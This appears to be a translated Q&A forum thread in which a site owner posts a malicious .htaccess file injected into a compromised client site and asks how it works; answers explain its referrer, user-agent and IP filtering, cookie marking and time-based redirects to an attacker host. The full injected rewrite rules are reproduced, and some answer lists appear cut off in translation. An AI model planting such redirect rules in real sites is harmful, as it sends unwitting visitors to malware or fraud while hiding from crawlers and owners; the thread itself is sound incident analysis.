我们的一个客户端网站遭到黑客入侵,.htaccess文件被替换为以下内容。
任何人都可以完全分解这是做什么的吗?
据我所知,它看起来像是在推介页面,然后是用户代理,它设置了一个名为jpg的cookie,然后将你重定向到siknsty.malicioussite.com,然后尝试下载一些恶意软件,然后再将你推荐回原版引荐网站(所以您的路径是Google>恶意软件页面> Google)
如果设置了jpg cookie,则它不会引用您的任何地方,因为它假定您已经下载了恶意软件。 (这可能是错误的 - 我认为它应该引用您重定向的下面列出的页面。)
我不确定其余部分,或者它是否使用.htaccess将zip文件屏蔽为jpgs(我想我正在读它)...
任何想法?
此外,任何想法如何在服务器上形成?所有权限都设置为0644,这在同一帐户下的Windows和Linux服务器上都已发生。
星期三早上ballache啊。哦,不要去那个地方。
<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)? (tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(imgres).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR} !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR} !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*Jpg.*$ [NC]
RewriteCond %{HTTP_USER_AGENT} .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS} ^off$
RewriteRule .* - [E=Jpg:%{TIME_SEC}]
RewriteRule .* - [E=HjT:siknsty.autoeventregistration.com]
RewriteCond %{ENV:Jpg} 0
RewriteRule ^.* http://%{ENV:HjT}/lg.php?bannerid=2168&campaignid=1049&zoneid=54&loc=1&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3dc202f6d9 [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9516:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 1
RewriteRule ^.* http://%{ENV:HjT}/www/app_full_proxy.php?app=275724075798066&v=1&size=z&cksum=e086bd606215518aed83711368bbecf5&src=http\%3A\%2F\%2F%{HTTP_HOST}\%2F [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:11607:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 2
RewriteRule ^.* http://%{ENV:HjT}/__utm.gif?utmwv=5.3.3&utms=10&utmn=620248474&utmhn=malang.olx.co.id&utme=8(2!entryPage)9(2!jobs/staticsearch/190\%3Fsearchbox\%3Dretailer\%26section\%3Dst-190)11(2!1)&utmcs=UTF-8&utmsr=1024x768&utmvp=1024x638&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.3\%20r181&utmdt=Gambar\%20MAZDA\%20MR\%20TAHUN\%201992.\%20BIRU\%20-\%20Malang\%20-\%20Mobil&utmhid=312516024&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=vehicles/itemimages/withImg/0&utmac=UA-1240664-1&utmcc=__utma\%3D209359949.1036501994.1340939688.1340939688.1340955051.2\%3B\%2B__utmz\%3D209359949.1340955051.2.2.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dgambar\%2520mobil\%2520mazda\%2520th\%25201992\%3B&utmu=ujGgAAAAIAAAAAAAAAAAAAB~ [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9398:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 3
RewriteRule ^.* http://%{ENV:HjT}/_xhr/ugccomments/?method=get_context_uuid&context_id=8064b73e-890d-3876-9ce5-c5f7c98574aa&0.2617028157370842&baseurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9127:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 4
RewriteRule ^.* http://%{ENV:HjT}/ping?h=thefrisky.com&p=/photos/357-12-stars-who-regret-having-plastic-surgery/lisa-rinna-lips-m-jpg-2/&u=i5r1cquurwfzcui1&d=thefrisky.com&g=25328&n=1&f=1&c=0&x=114&y=1865&w=638&j=45&R=1&W=0&I=0&E=0&v=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&b=4187&t=72n4jkji2m79sf6m&V=6&D=nygdmayh2yyvp9w3&i=12\%20Stars\%20Who\%20Regret\%20Having\%20Plastic\%20Surgery\%20Lisa\%20Rinna\%20\%E2\%80\%93\%20The\%20Frisky&_ [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:11948:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 5
RewriteRule ^.* http://%{ENV:HjT}/__utm.gif?utmwv=5.3.2&utms=3&utmn=490784565&utmhn=www.wego.co.id&utme=8(2!Hotels*Google\%20search\%20position)9(2!Details\%20Overview*5)&utmcs=UTF-8&utmsr=1024x768&utmvp=1007x612&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=11.2\%20r202&utmdt=Aston\%20Cengkareng\%20City\%20Hotel\%20\%26\%20Conference\%20Center\%2C\%20Jakarta\%20-\%20Bandingkan\%20tarif\%20kamar\%20-\%20Wego.co.id&utmhid=1324439502&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/hotel/indonesia/jakarta/aston-cengkareng-city-hotel-and-conference-center--133090&utmac=UA-29994605-1&utmcc=__utma\%3D1.786375144.1340094774.1340094774.1340094774.1\%3B\%2B__utmz\%3D1.1340094774.1.1.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dstandard\%2520superior\%2520twin\%2520room\%2520aston\%2520hotel\%3B&utmu=qzGggCAAAAAAAAAAAAAAAAB~ [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:10955:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 6
RewriteRule ^.* http://%{ENV:HjT}/delivery/lg.php?bannerid=30550&campaignid=4402&zoneid=1917&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=dbd1f7d293 [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9621:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 7
RewriteRule ^.* http://%{ENV:HjT}/api/getCount2.php?cb=stButtons.processCB&refDomain=www.mangahere.com&refQuery=manga/fly_high/v03/c013/37.html&pgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pubKey=e47efe7d-147b-4731-ac42-9838ccdc52f2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:10798:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 8
RewriteRule ^.* http://%{ENV:HjT}/pingjs/?k=f6ckilz7r2ss&t=Komik\%20Fairy\%20Tail\%20\%7C\%20Chapter\%20288\%20289\%20Hal\%2016\%20-\%20Baca\%20Manga\%20Bahasa\%20Indonesia\%20Online&c=s&y=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&a=-1&r=978836 [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:11234:/:0:HttpOnly]
<!-- Conditions 10 - 58 removed to post on stackoverflow -->
RewriteCond %{ENV:Jpg} 59
RewriteRule ^.* http://%{ENV:HjT}/delivery/lg.php?bannerid=31662&campaignid=2&zoneid=1884&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=af167e7f1f [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9285:/:0:HttpOnly]
</IfModule>
#a77342b1677255ef6afc9a0dbec166f633c2b44166559458c71fb4e7
答案 0 :(得分:8)
它会根据第二个时间随机选择其中一个重定向。因此他们为什么从0到59.
我认为你是对的,它设置了一个cookie,以便它不会再对同一个受害者做同样的事情。
第一批规则正在做的事情,例如取消请求以.jpg,.zip等结尾的文件的所有人,可能是为了确保在重定向之前有人真正在浏览浏览器。 UserAgent也是排除项(请注意每行开头的!) - 各种网络蜘蛛以及一些它不感兴趣或无法感染的操作系统和客户端。它还要求用户代理包含
之一Windows|Macintosh|iPad|iPhone|iPod|Android
并且推荐人是热门网站和搜索引擎的长名单之一。这可能是为了确保浏览器背后有人,如果他们获得垃圾邮件付费,或者可能与使用您的网站进行单击耕作有关。
有趣的是它忽略的IP块列表:
RewriteCond %{REMOTE_ADDR} !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR} !^74\.125.*$ [NC]
这些可能包括网站的地址,以便网站的所有者(可能)不会注意到损坏,或者它可能会为您提供攻击者所在国家/地区的线索。
答案 1 :(得分:2)
这不是直接/破坏性攻击,而是一种悄悄引入恶意软件的狡猾方式,这对最终用户来说并不明显。
它看起来像是根据时间随机循环......(你显然有一些理解方式):
有很多可能的方法,包括:
以下是一些有助于避免此类攻击的常见元素,尽管您可以在Web上找到锁定Linux / win服务器的安全方法: